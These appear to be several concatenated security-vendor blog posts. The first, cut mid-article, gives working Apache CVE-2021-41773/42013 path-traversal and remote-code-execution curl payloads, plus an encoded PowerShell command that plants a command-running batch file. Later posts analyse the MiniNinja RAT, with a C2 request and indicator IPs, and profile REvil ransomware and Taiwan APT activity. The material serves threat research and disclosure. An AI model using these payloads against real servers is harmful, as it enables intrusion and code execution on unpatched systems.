%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/
etc/passwd"
```

Payload 2：Remote code execution via path traversals

```curl -s -d "echo;id" --path-as-is "http://127.0.0.1/icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32
%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/
bin/sh"
```

**Root Cause Analysis**

Given the requests shown above, we can see that despite the effort put into fixing the vulnerabilities in Apache HTTP Server 2.4.50, the CVEs can still be reproduced by double-encoding the request. When handling external HTTP requests, the Apache server will pass the request to ```ap_process_request_internal``` to parse the URL path. In the said method, ```ap_normalize_path``` and ```ap_unescape_url``` are called. However, both of these methods will decode the path when handling the input.

Fig 1. is a diff between 2.4.49 and 2.4.50. As one could see, the proposed fix was to handle abnormal characters like ```%2e```. Unfortunately, the fix was only implemented in one of the aforementioned methods. Therefore, one could easily bypass this fix by double-encoding the path.

![pic 1_eng.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1641180197/pic_1_eng_4fe4a7c1ff.png)

<center>Figure 1. Diff between Apache 2.4.49 and 2.4.50</center>

After double-encoding our paths, we get:

```
http://127.0.0.1/icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32
%65%%32%65/%%32%65%%32%65/%%32%65%%32
%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh
```

```
http://127.0.0.1/icons/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/
%2e%2e/%2e%2e/%2e%2e/bin/sh
```

By decoding the path twice…

```
http://127.0.0.1/icons/../../../../../../../../../../bin/sh
```

Based on this improper fix, we can see that Apache HTTP Server did not properly validate and normalize the paths, leading to our successful payload execution.

Next, we’ll talk about how these vulnerabilities can be applied on Windows.

## **PoC on Windows**

- The following demo uses a vulnerable version of the Apache HTTP Server at the IP ```192.168.56.161```

**Payload 1: Local File Inclusion via Path Traversal **

```C:/Windows/win.ini``` could be read using this attack vector, as shown in Fig. 2.

![pic 2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157683/pic_2_792d054cbf.png)

<center>Figure 2. Path traversals leading to local file inclusion</center>

**Payload 2：Remote Code Execution**

Through ```cmd.exe```, we can use PowerShell to write a ```c.bat``` file under ```C:\Users\Public```. You might notice that Apache HTTP Server will return with a 500 Internal Server Error (see Fig. 3), that is primarily due to not having a proper HTTP header response from the CGI - in reality, the script did successfully go through and ran on the target host.

![pic 3.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157684/pic_3_3f12f57192.png)

<center>Figure 3. The results after payload execution</center>

We can then specify any command that we desire through this ```c.bat``` file.

![pic 4.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157683/pic_4_b195f466cb.png)

<center>Figure 4. Arbitrary code execution via the c.bat file</center>

Here’s what it looks like under Process Monitor:

![pic 5.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157683/pic_5_c18bad34ee.png)
<center>Figure 5. Snapshot from Process Monitor</center>

Note that even if there are special characters in the arguments, ```cmd.exe``` can still properly execute the command thanks to how cmd parses its arguments.

**cmd.exe magic parser**

Under normal circumstances, processes with quoted argument including optional switches shouldn’t be able to run properly - yet, ```cmd.exe``` was able to run with our ```/c``` argument quoted. We delve deeper in order to understand how ```cmd.exe``` was able to achieve this.

- Parser documentation from the help ```/?``` switch

![pic 6-2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1641286924/pic_6_2_f1ab2bc981.png)


<center>Figure 6. Screenshot of the cmd window with the help switch</center>

- Surprise!

![pic 7.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157682/pic_7_f58e914086.png)

<center>Figure 7. cmd parser in action</center>

| **Command ** | **Similar** |
|---|---|
|```cmd.exe "/c dir"```|```cmd.exe /c dir"```|
|```cmd.exe "/c dir "```|```cmd.exe /c dir "```|
|```cmd.exe ~!@#$%^&*()_+{}:"<>?/c dir```|```cmd.exe /c dir```|
|```cmd.exe ~!@#$%^&*()_+{}:"<>?/c dir "```|```cmd.exe /c dir "```|
|```cmd.exe ~!@#$%^&*()_+{}:"<>?/cdir```|```cmd.exe /c dir```|


**cmd with powershell.exe**

| **Command ** | **Result ** |
|---|---|
|```powershell.exe -c write-output 1```|```1```|
|```powershell.exe -c write-output "1```|```1```|
|```powershell.exe -c write-output 1"```|```1```|
|```powershell.exe -c write-output ""1```|```1```|
|```powershell.exe -c write-output 1""```|```1```|
|```powershell.exe -c write-output """```|```The string is missing the terminator: ".```|
|```powershell.exe -c write-output "1""```|```	The string is missing the terminator: ".```|
|```powershell.exe -c write-output ""1"```|```1```|
|```powershell.exe -c write-output "1"1"```|```11```|
|```powershell.exe -c write-output """"```|```The string is missing the terminator: ".```|
|```powershell.exe -c write-output "1""1"```|```The string is missing the terminator: ".```|
|```powershell.exe -c write-output """""```|```	The string is missing the terminator: ".```|
|```powershell.exe -c write-output """1"""```|```1```|
|```powershell.exe -c write-output """"1"""```|```1```|
|```powershell.exe -c write-output """1""""```|```1```|
|```powershell.exe -c write-output """1"""""```|```1```|
|```powershell.exe -c write-output """""1"""```|```1```|
|```powershell.exe -c write-output """1""""""2"""```|```1"2```|
|```powershell.exe -en dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAiADEA```|```The string is missing the terminator: ".```|
|```powershell.exe -en dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==```|```1```|
|```powershell.exe -en d""wByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==```|```1```|
|```powershell.exe -en d"wByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==```|```1```|
|```powershell.exe -en "dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==```|```1```|
|```powershell.exe -en dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA=="```|```1```|
|```powershell.exe -en ""dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==```|```1```|
|```powershell.exe -en dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==""```|```1```|
|```powershell.exe -en "d"wByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA=="```|```1```|


**Using PowerShell to Write C:\Users\Public\c.bat**

Encoded command through the ```-EncodedCommand``` switch:

- JABzAHQAcgA9AEAAIgANAAoAQABlAGMAaABvACAAbwBmAGYAIAAmACYAIABlAGMAaABvACAAQwBvAG4AdABlAG4AdAAtAHQAeQBwAGUAOgB0AGUAeAB0AC8AcABsAGEAaQBuACAAJgAmACAAZQBjAGgAbwAuAA0ACgBlAGMAaABvACAAJQAxAA0ACgBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIAAtAE4AbwBMAG8AZwBvACAALQBOAG8AUAByAG8AZgBpAGwAZQAgAC0AQwBvAG0AbQBhAG4AZAAgACIAJQAxACAAfAAgAE8AdQB0AC0AZgBpAGwAZQAgAC0ARQBuAGMAbwBkAGkAbgBnACAAdQB0AGYAOAAgAC0ARgBpAGwAZQBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXAByAC4AdAB4AHQAIgANAAoAdAB5AHAAZQAgAEMAOgBcAFUAcwBlAHIAcwBcAFAAdQBiAGwAaQBjAFwAcgAuAHQAeAB0AA0ACgBkAGUAbAAgAEMAOgBcAFUAcwBlAHIAcwBcAFAAdQBiAGwAaQBjAFwAcgAuAHQAeAB0AA0ACgAiAEAADQAKAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABzAHQAcgAgAHwAIABPAHUAdAAtAGYAaQBsAGUAIAAtAEUAbgBjAG8AZABpAG4AZwAgAGEAcwBjAGkAaQAgAC0ARgBpAGwAZQBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXABjAC4AYgBhAHQA

Decoded script:

```
$str=@"
@echo off && echo Content-type:text/plain && echo.
echo %1
powershell.exe -NoLogo -NoProfile -Command "%1 | Out-file -Encoding utf8 -FilePath C:\Users\Public\r.txt"
type C:\Users\Public\r.txt
del C:\Users\Public\r.txt
"@
Write-Output $str | Out-file -Encoding ascii -FilePath C:\Users\Public\c.bat
```



## **Patches & Remediation**
- Update Apache HTTP Server to the latest version (2.4.50+)



## **Appendix: Working with CGI**

## demo.bat
```
@echo off && echo Content-type:text/plain && echo.
echo %1
```

## test with demo.bat

- Remote shell execution
![遠端測試.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157682/_9ed6e42028.png)



-Decode special characters
![解碼無法印出字元.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157682/_c9e8a9fbfe.png)



- Identical to the system output
![與實際上系統執行結果一致.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157682/_048619bbc1.png)



## **References**

- [Apache HTTP Server 2.4 vulnerabilities - The Apache HTTP Server Project](https://httpd.apache.org/security/vulnerabilities_24.html)
- [Florian Roth ⚡️ 在 Twitter 上：“I have summarized the Apache path normalization clusterfuck for you https://t.co/FkwDf4qDxH” / Twitter](https://twitter.com/cyb3rops/status/1446893960950128644)
- [Akamai Blog | Mitigating CVE-2021-41773: Apache HTTP Server Path Traversal](https://www.akamai.com/blog/news/how-akamai-helps-you-protect-against-0-days)

*Image courtesy of Pixabay: [Pixabay](https://pixabay.com/photos/highway-road-tornado-lightning-5433087/)

Apache HTTP Server Vulnerabilities in Windows (CVE-2021-41773 & CVE-2021-42013)

TeamT5 discovered a new remote administration tool (RAT), which we dubbed as MiniNinja, being used in several Chinese APT campaigns. TeamT5 has observed countries across different APAC regions, including Taiwan, Russia, Kyrgyzstan, Uzbekistan, Vietnam, the Philippines, and Pakistan, being targeted and attacked by this malware. The impacted industries include governments, energy, IT, telecommunication and engineering. MiniNinja is a complex malware that uses several advanced techniques to prevent itself from being detected and analyzed. Further, its wide targeting scope also attracted our attention. In this report, we will introduce the technical detail of our analysis.

MiniNinja was first discovered in the wild in a targeted attack against Taiwanese government agencies in early March 2021. The actor leveraged the ProxyLogon vulnerability (CVE-2021-26855) to compromise an email server and further implanted CobaltStrike Beacon and MiniNinja RAT in the victim network environment. This information was also disclosed in an ESET report[1] about a "Websiic Campaign" using the ProxyLogon vulnerability. TeamT5 noticed the existence of this new malware and started tracking its activities. Since then, TeamT5 has observed its footprints in Vietnam[2], Pakistan and the Philippines, possibly also implanted in victim hosts via the ProxyLogon vulnerability. Its latest activities were spear phishing email attacks against Russia and Uzbekistan in September 2021. TeamT5 is still uncertain of the attribution of these attacks. However, we possess high confidence that this is a new tool used by Chinese APT based on its TTPs and C2 infrastructure.

To bypass antivirus detection, MiniNinja is encrypted as a binary blob in a binary payload file. It might have one to multiple loader components in native PE or .Net, but basically the loaders do similar tasks. The loader components will decrypt and run it in memory via reflective DLL injection techniques. Its loader firstly checks the first 4 bytes of the payload file and decrypts the content by using 3DES (112bit) algorithm in case of header check passes:

![2110-1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1634097412/2110_1_19727d525b.png)

 

The decrypted buffer might be passed to a second stage loader for further processing if there are multiple loader components. The loader will then decode the content by custom decoding methods and LZSS decompression algorithm. The decoded payload is a PE file with its PE header erased and it is just the MiniNinja RAT. Finally, the loader will locate its export function "Debug" and start execution from there:

![2110-2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1634097412/2110_2_acd0d24736.png)

 

In a payload collected from some Taiwanese victims, there is a PDB string left by the developer (only in memory) and thus we name this malware MiniNinja:

![2110-3.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1634097412/2110_3_f98da0e1b4.png)

 

The decrypted malware configuration block contains Mutex string, C2 URL, HTTP Header information, sleep time, etc.:

![2110-4.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1634097412/2110_4_aabe1c7b5a.png)

 

Upon execution, the following victim host information will be collected:

 - System info
 - OS version
 - Hostname
 - IP addr
 - Process name
 - Process ID

The above data would be encoded with XOR encode and custom base64 encode. Finally, the encoded result would be sent to its C2 via POST:

```
POST http://149.28.28.159:443/Collector/3.0/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 149.28.28.159:443
User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv 11.0) like Gecko
Content-Length: 474
Pragma: no-cache

ngluKGJ2JZ2[NKOs506NzsX9yVU7gkxWozQK5WmWoaUr9C0DN0iXb6lwFkcb2CE3HBk[4ISP3nI88jpLROJhQp8PvwLHU6LGYT4J4d4WOETXaWu8jJLr0N80JNKmWRRSDKXoD]Wu3RI0XBwdm3bNtwJ2eTWZ0]4FAcLpw3WRspgfixnubeemSnViV2Rs77m]oaTfrHNCxFdoiIwSvBKJIjPJ[Qc1GCdteLSasYUHvVx3RIAgKOusXgh4Yy9tu4C1083RoI3E5ej7twUC0CdsmzGrZwqBJ5JOYkPHyPn7LNsFfF1UexYEZeyivz[NxuT4NQS0U7h[ZffjtiGr05wUVUl0W9xXsXB1W8xm5TYtWO969oYHrrpNa0bfCMFwGT99ZHTOJiexqpll1HYxU[9oV]flQm2SYXaRL[gc0M]icbcpG0FcHPB5umIZFdxGPTK96aTFlHY8gr1P3K0j[KLr91Lw$$
```

MiniNinja is a full-featured RAT that supports commands for file, process, memory, shell or account operations. Its supported functions are listed below in the Command Table.


## Command Table

Supported command:

|Command | Description|
|---|---|
|0x4E20| Heart beat|
|0x4E21| Init dwProcessId|
|0x4E22| Change sleep time|
|0x4E23| Exit(ExitProcess) | 
|0x4E24| CreateProcess|
|0x4E25| TerminateThread |
|0x4E26| set close_socket to 0|
|0x4E2A| ShellCommand |
|0x4E2B| Get Command Result(call WriteFile,PeekNamedPipe,ReadFile)|
|0x4E2C| TerminateProcess|
|0x4E2D| IterateProcess then TerminateProcess|
|0x4E34 ~ 0x4E47| File Operations|
|0x4E34| List Disk Driver|
|0x4E35| ListDirectory|
|0x4E36| CreateDirectory|
|0x4E37| DeleteFile|
|0x4E38| RemoveDirectory|
|0x4E39| MoveFile|
|0x4E3A| CreateFile|
|0x4E3E| ReadFile|
|0x4E3F| WriteFile|
|0x4E48 - 0x4E51| Socket Operations|
|0x4E48|Connet Host|
|0x4E49|Check socket status|
|0x4E4A|Send Data to Host|
|0x4E4B|Recv Data from Host|
|0x4E4C|Close socket|
|0x4E4D|Connect Host|
|Preserved?(0x4E4E-0x4E51)|Null|
|0x4E5C ~ 0x4E65| Memory Operations|
|0x4E5C|string copy|
|0x4E5D|string copy|
|0x4E5E|string copy|
|*0x4E5F,0x4E60| Execute Plugin? (CreateProcess, process Injection and createthread)|
|*0x4E61,0x4E62| FileMapping(Write data) |
|Preserved?(0x4E63,0x4E64)| Null|
|*0x4E65|Close File Handler|
|0x5208|List c2 configuration|
|0x4E52|List Process|
|0x4E53|IterateProcess,kill process|
|0x4E54|Process Injection|
|0x4E55|CreateThread for running DLL export function |
|0x4E56|Read FileMap data(OpenFileMappingA -> robject_,custom_base64)|
|0x4E57|Exit Dll function?(robject_, UnmapViewOfFile)|
|0x4E58|LookupAccountSid|

## IoC

- 149.28.28.159
- 167.99.168.251
- 185.220.101.204
- 162.247.72.199
- 194.156.98.191
- 202.182.100.134
- 109.70.100.55
- 185.220.101.18
- 193.36.119.144 (TW compromised host)

## References

[1] https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/

[2] https://gteltsc.vn/blog/cap-nhat-nhe-ve-lo-hong-bao-mat-0day-microsoft-exchange-dang-duoc-su-dung-de-tan-cong-cac-to-chuc-tai-viet-nam-9685.html

 

*Image courtesy of [Pixabay](https://pixabay.com/illustrations/ninja-warrior-moon-japanese-japan-2255848/)

Assassinations of "MiniNinja" in Various APAC Countries

TeamT5 recently discovered two installers of a newly identified backdoor which we named MemzipRAT. The backdoor is named after an embedded string "get module from cmd memzip : %d" inside the PE files.

## About TeamT5's Research Findings

With further investigation, we believe this attack was aiming at a South Korean company in the aerospace sector. The company is part of a top 10 conglomerate in South Korea, whose business includes aerospace, chemicals, financial services, IT, etc.

In fact, CloudDragon has been accused of using VPN vulnerabilities to attack numerous entities, including Korean government agencies [1], recently. It is highly possible that they deployed their new malware by the new vulnerability in this case as well. 

 

Yet, there are two key factors that might pull the trigger of massive intrusions:

1. VPN vulnerability

 The VPN market in 2020 is USD $30 billion worldwide. That is, the market is huge and has multiple players inside. It could be a starting point for actors to infiltrate various corporations not only in South Korea, but to the whole world.
 
2. Sectors involved

 As the identified target involved in crucial sectors, such as IT, it has a great chance to affect hundreds of entities in a short period.

 

We strongly advise everyone to take careful attention to CloudDragon's recent campaign for it might end up a severe supply chain attack.

## Reference

[1] https://biz.chosun.com/policy/politics/2021/06/18/V4DTFCEXPRA4DFCBVVJO3DPR5I/

 

 

*Image courtesy of [Pixabay](https://pixabay.com/photos/flag-banner-nation-emblem-country-2528969/)

CloudDragon's Campaign: VPN Zero-day Vulnerability + New Backdoor

In March 2021, another REvil's attack was announced. Targeting the computer giant Acer, the actors behind the ransomware asked for 50 million dollars, the highest ransom they have demanded so far. Acer was not the only victim of the notorious ransomware. Debuted in April 2019, REvil has attacked hundreds of high-profile agencies in multiple sectors. In 2020, REvil has earned more than 100 million.[1] In this report, we will introduce the basic profile of REvil and share the techniques they used in operations. 


## What is REvil 

REvil, a.k.a Sodinokibi, is a Ransomware as a Service (RaaS) operation deployed by a Russian cybercrime group named GOLD SOUTHFIELD or Pinchy Spider. The group is believed to be based in Russia, as it does not attack organizations in Post-Soviet States, and refuse to cooperate with English speaking cyber criminals.[2] 

REvil was highly possible the successor of GandCrab, another notorious ransomware, because of code similarities and REvil's active operations right after GandCrab's retirement.[3]

![REvil_1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1621845336/R_Evil_1_035a848033.png)
_Figure 1: The timeline of REvil's appearance and GandCrab's retirement_

 

![REvil_2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1621845337/R_Evil_2_804b2676dc.png)
_Figure 2: REvil and GandCrab's similarity on string decoding_

 

![REvil_3.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1621845337/R_Evil_3_e9724a2992.png)
_Figure 3: REvil and GandCrab's similarity on building ransom wallpaper_

 

Numerous campaigns attacking multiple sectors were observed all over the world. The REvil actors has attacked local governments, giant law firms, multinational retailers, etc. The highest ransom they have asked was 42 million for the law firm but was now surpassed by the 50 million Acer attack. (References for the events, please see the end of this page.[4])

 

![REvil__4.jpeg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1621845337/R_Evil_4_56bc894487.jpg)
_Figure 4: The timeline of REvil's notorious attacks_

 

## The Ransomware as a Service model (RaaS)

The actors of REvil adopt the Ransomware as a Service business model. In this model, Ransomware developers are responsible for development and maintenance of the ransomware, while the groups of cyber criminals, named affiliates in this model, are responsible for accessing victims' system to distribute the ransomware. The business model allows cyber criminals who are not capable of developing their own ransomware to buy the service on dark web and deploy ransomware attack. 
 
Through this model, REvil actors provide REvil or the customized version of REvil to their affiliates. After they successfully breached victims' systems, REvil actors will ask for ransom by themselves, providing the ransom payment link. After the collection of money, their affiliates will receive 60% to 75% of the profit. Moreover, the actors also provide other paid services, such as money laundering assistance for the affiliates. 

![May_blog_3.jpeg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1620634812/May_blog_3_71c24e74f2.jpg)

 

## Tactic, Techniques and Procedures
### Initial Access
For REvil, different affiliates may use different methods for initial access. The ransomware is now distributed primarily through compromised RDP sessions (65%), phishing (16%), and software vulnerabilities (8%).[5] However, a supply chain attack distributing REvil was also observed.

REvils' actors said in an interview that they used brute force attacks to compromise RDP sessions.[1] As for phishing emails, the cyber criminals have once disguised their email as a new booking from "booking.com". They also exploit vulnerabilities. In fact, REvil's debut was exploiting the Oracle Weblogic vulnerability, CVE-2019-2725. Moreover, the actors are able to deploy new vulnerabilities after its disclosure. For example, the group used the recent disclosed Microsoft Exchange server vulnerability to access Acer's system.

The most astounding technique they deployed is supply chain attack. Around June 2019, a WINRAR distributor site in Italy was hacked.[6][7] The software downloaded from the site at that time was not the WINRAR installer but the REvil installer. Although no public announcements showing that any company was infected in this attack, the successful replacement shows that their affiliates were able to deploy a supply chain attack. 

Apart from their various method on initial access, the cyber criminals also adopted several unique techniques. For example, REvil used Elliptic-curve Diffie-Hellman key exchange to encrypt files, while other ransomware often used RSA, Salsa20 or AES to do so. This method is more efficient as it used shorter key and is difficult to decrypt. 

 

## The Effective Methods for Ransom Collection
Nowadays, as ransomware attacks become a serious problem, most companies have learned to back up crucial data in case they are hit by a ransomware. However, ransomware actors develop several new methods to ensure that the victims will pay the ransom, including Double-extortion, VoIP calling, and DDoS attack.

- "Double-extortion"
The actors disclose or sell the data of the company if the company is not willing to pay ransom. This method was first introduced by Maze, another notorious ransomware, and currently almost all ransomware actors have adopted this method, and so as REvil. Starting from January 2020, the group runs their own site "Happy Blog", where they post data extorted from their victims.

- Voice over Internet Protocol (VoIP) calling
In February 2021, they announced that they are now offering Voice over Internet Protocol (VoIP) calling and DDoS attack service for their affiliates to make pressure on their victims.[8] They stated that they will call the media or their victims' business partners, telling them about the attack. 

 

## Detect and Defense
For prevention, it is always crucial to be aware of spamming emails. Nowadays, spamming emails is still the most popular and effective method to access victims' computers. 

In addition, keep an eye on new exploits and updates is also important. Ransomware groups usually are not capable of discovering 0-day exploits by themselves, but they will exploit the disclosed vulnerabilities and attack those who have not updated their system. Thus, keep computers updated and patched systems immediately after the disclosure is essential for preventing ransomware attack.

Furthermore, as the REvil business grows, the actors behind has posted on dark web to recruit more affiliates for their operations. Thus, more attacks from the group is expected. TeamT5 will keep following the ransomware and provide up-to-date information of the notorious ransomware.

To efficiently prevent ransomware attacks, TeamT5 offers a total solution for enterprise protection. Our unique ransomware containment technology is proven to successfully block many types of ransomware, which can detect and stop malicious ransomware immediately. And even restore encrypted files from the backup.

For more information about TeamT5 Ransomware Prevention total solution, please contact: <sales@teamt5.org>

 

## References

[1] https://therecord.media/i-scrounged-through-the-trash-heaps-now-im-a-millionaire-an-interview-with-revils-unknown/

[2] https://www.advintel.io/post/inside-revil-extortionist-machine-predictive-insights

[3] https://www.zdnet.com/article/gandcrab-ransomware-operation-says-its-shutting-down/

[4] Texas Municipalities - https://www.zdnet.com/article/at-least-20-texas-local-governments-hit-in-coordinated-ransomware-attack/; Backup Company - https://www.zdnet.com/article/ransomware-hits-hundreds-of-dentist-offices-in-the-us/; Foreign Exchange Company - https://www.bbc.com/news/business-51017852; US Law Firm - https://www.zdnet.com/article/ransomware-gang-asks-42m-from-ny-law-firm-threatens-to-leak-dirt-on-trump/; Pan-Asia Retailer - https://www.bleepingcomputer.com/news/security/pan-asian-retail-giant-dairy-farm-suffers-revil-ransomware-attack/

[5] https://www.csoonline.com/article/3597298/revil-ransomware-explained-a-widespread-extortion-operation.html

[6] https://www.drcommodore.it/2019/06/20/hackerato-winrar-it-malware-al-posto-del-programma/

[7] https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-spreads-wide-via-hacked-msps-sites-and-spam/

[8] https://www.bleepingcomputer.com/news/security/ransomware-gang-plans-to-call-victims-business-partners-about-attacks/


*Image courtesy of [Pixabay](https://pixabay.com/)

Introducing The Most Profitable Ransomware REvil

**By TeamT5 CTO Charles Li**

2020 was considered to be a year of chaos and disaster. Big events such as the outbreak of COVID-19, geopolitical conflicts escalations in several areas, Brexit, and the U.S. president election, all influenced people around the world. In 2020, TeamT5 continued helping numerous security breaches caused by state sponsored targeted instruction attacks (APT) . In the meantime, TeamT5 intelligence Team proactively tracked APT actors’ new activities. Compared with real world, the cyber world was also full of turmoil in 2020 and many of them are reflections or extensions to events in real world. In this article, we will discuss our observation of APT trends in Taiwan in 2020.

In this article, we will first walk you through some remarkable trends, including:

- Evolution of APT tactic
- Supply Chain attack became a primary method in APT attacks
- COVID-19 driven cyber attacks

We will try to dissect the attacks happened in Taiwan in industrial view and adversarial view, which is a common method in threat intelligence analysis. Last part will be our conclusion and suggestions to respond with APT attacks.

 

## Evolution of APT tactic

In 2020, the most notable APT event in public would be the ransom-attack that strike several energy related companies in May [1]. TeamT5 research shows it to be a well-organized campaign from a notorious Chinese adversary group. Whether financial gain or political deterrence is the real motivation behind the ransom-attack remains a mystery. However, it has marked a milestone of China’s cyber-attacks against Taiwan: Chinese APT have aimed Taiwan for more than 20 years but only limited in cyber espionage operations in the past but the threat actors are now exercising new tactics to evade us.

Another cyber-attack supporting our hypothesis occurred on PTT, the most popular BBS platform in Taiwan. TeamT5 tracked a series of posts related to some scandals, with attempts to uglify Taiwanese governments or military, on PTT in July 2020. The actors abused hopping servers from various countries to hide their footprints. However, TeamT5 intelligence database shows that one of the source IP address was also used by a Chinese APT that has targeted Taiwan for more than ten years. Besides, another private source also verified the same APT group to be the culprit behind the attack. We consider both events to be indicators of China’s expansion on offensive cyber operations, which we have not observed in the past.

 

## Supply Chain attack becoming a primary method in APT attacks

Supply chain attack has become a major intrusion method for threat actors in 2020 and TeamT5 had warned such tactic in advance [2]. SolarWinds breach was undoubtedly the most successful story among them. Many high-profile US government agencies, Fortune 500 companies and even cybersecurity vendors were affected. It is so sophisticated that the scope is still uncertain yet. In Taiwan, we also observed at least three waves of similar attacks that infiltrated service providers and further leveraged their products or services to infect more victims. The first two had been published by the Ministry of Justice Bureau (MJIB) of Taiwan in August [3]. The third was still under investigation and the impact could be even bigger. We have seen a significant numbers of government agencies or private corporates in Taiwan being compromised. TeamT5 research shows that at least 3 distinct China nexus group were involved in these operations.

 

## COVID-19 driven cyber attacks

Another interesting phenomenon would be COVID-19 related cyber-attacks. Soon after the outbreak of COVID-19 pandemic, we observed state sponsored actors collecting intelligence for the pandemic. In the second half of 2020, threat actors shifted their focus to chasing COVID-19 vaccine information with the advance of COVID-19 vaccine development. In Taiwan, TeamT5 also intercepted several spear phishing emails using COVID-19 as lure theme or even more campaigns related to healthcare related entities. We believe the trend will continue as long as the COVID-19 pandemic still exists.

TeamT5 Intelligence Team had analyzed around one hundred APT attacks from China in 2020. Our statistic shows government and military agencies are still the biggest target and attacks against them counts for more than 1/4 in total and almost every APT groups that are active in Taiwan are coveting them. This trend has lasted for long since the ultimate goal of Chinese espionage operation is to obtain confidential national information. Information Technology (IT) industry also got attention a lot by APT actors and TeamT5 has observed a dramatical increase of attacks against IT industry. We believe this phenomenon is a result of threat actors’ attempts to abuse supply chain attacks and IT companies are considered to be good hopping points by actors to access various industries.

The third industry being targeted in 2020 is Energy industry and TeamT5 had observed at least attacks from 5 adversary groups. It could be a sign of our adversaries’ ambitions to control our critical industries because they will be top priorities of sabotages in wartime. Education or think tanks have been long ranked as the most attacked victims because they tend to involve in classified research projects hosted by governments or political decision makings. There were several targeted attacks against companies in semiconductor industries. It makes sense since Semiconductor industry is listed as a priority to be fostered by Chinese authority in their thirteen and fourteen Five-Year projects. Cyber espionage was also adopted as a mean to improve their techniques. Healthcare and transportation are also two industries that got coveted by APT actors. As we mentioned in the previous paragraph, COVID-19 could be an incentive for APT actors to attack Healthcare industries. Lastly, we would like to raise a phenomenon TeamT5 observed: There was an adversary group which we called GouShe (a.k.a TroppicTropper, Keyboy) focus on infiltrating Transportation related entities in Taiwan. More than 70% of transportation related cases we observed were from this specific group.

![0510-1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1620618167/0510_1_bceb3b6be1.png)
_2020 APT target industries distribution_

 

TeamT5 has tracked activities from at least 9 APT groups and 8 of them are from China. HUAPI (a.k.a BlackTech/PLEAD) was definitely the most ambitious group in Taiwan. Their attacks counts around 30% of incidents we analyzed and the targeting scope includes almost all the industries we listed. The supply chain attacks we mentioned in previous paragraphs were also conducted by them. APT27 (a.k.a EmissaryPanda, IronTiger, LuckyMouse, BronzeUnion), GouShe and AMOEBA (a.k.a APT41, Barium, Winnti) are groups that are quite active in 2020. APT27 was mostly attacking government, healthcare, and financial entities. GouShe showed a peculiar interest in transportation related entities while their footprints are also observed in energy and government entities. TeamT5 has tracked this group for many years. Our research shows that the actors might bear some responsibility from their higher commands to monitor some critical infrastructure facilities in Taiwan and take control of them in case of emergency status.

AMOEBA attacked energy companies, semiconductor companies, educational institutes, and IT companies. Their primary goal appears to be more for intellectual property or secret theft. But the possibilities exist that the actor might further leverage their achievement, like what they did in the ransom-attack in May. SLIME1, SLIME9 and SLIME13 are temporary code names for three Chinese APT campaigns against Taiwan that have lasted for a few years. Their activities still continued in 2020. Polaris (a.k.a MustangPanda) is another Chinese APT group that attacked almost all neighboring countries of China. We intercepted several of their spear phishing emails against government and research institutes in early stage of COVID-19 and we surmise they were gathering for information related to pandemic. One last interesting discovery: we discovered some Linux based malware used by Lazarus, a notorious North Korean APT group, circulated in Taiwan but we are unable to obtain the victim identity information. Although Taiwan is not a primary target of North Korean APT. But the Lazarus actors are believed to bear financial supporting responsibilities for their government agencies. For example, Lazarus is believed to be the culprit behind a Taiwanese bank SWIFT heist in 2017 [4]. The sample we uncovered might suggest their activities still exist in Taiwan.

![0510-2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1620615927/0510_2_a0a7b82a23.png)
_Adversaries attacking Taiwan in 2020_

 

## Conclusion

The purpose of this article is to provide a high-level overview of APT threat landscape of Taiwan in 2020, since TeamT5 believes knowing your enemy is the first step of effective defense. TeamT5 research shows that APT attacks keep evolving to become very complex and impossible for a security product to defend. TeamT5 has a cyber threat intelligence (CTI) centered solution, [ThreatVision](https://teamt5.org/en/products/threatvision/), and we rely on a dedicated team of security experts to keep us steps ahead of threat actors. Feel free to contact TeamT5 in case you want to know more about our products, solutions or discuss about threats you are facing.

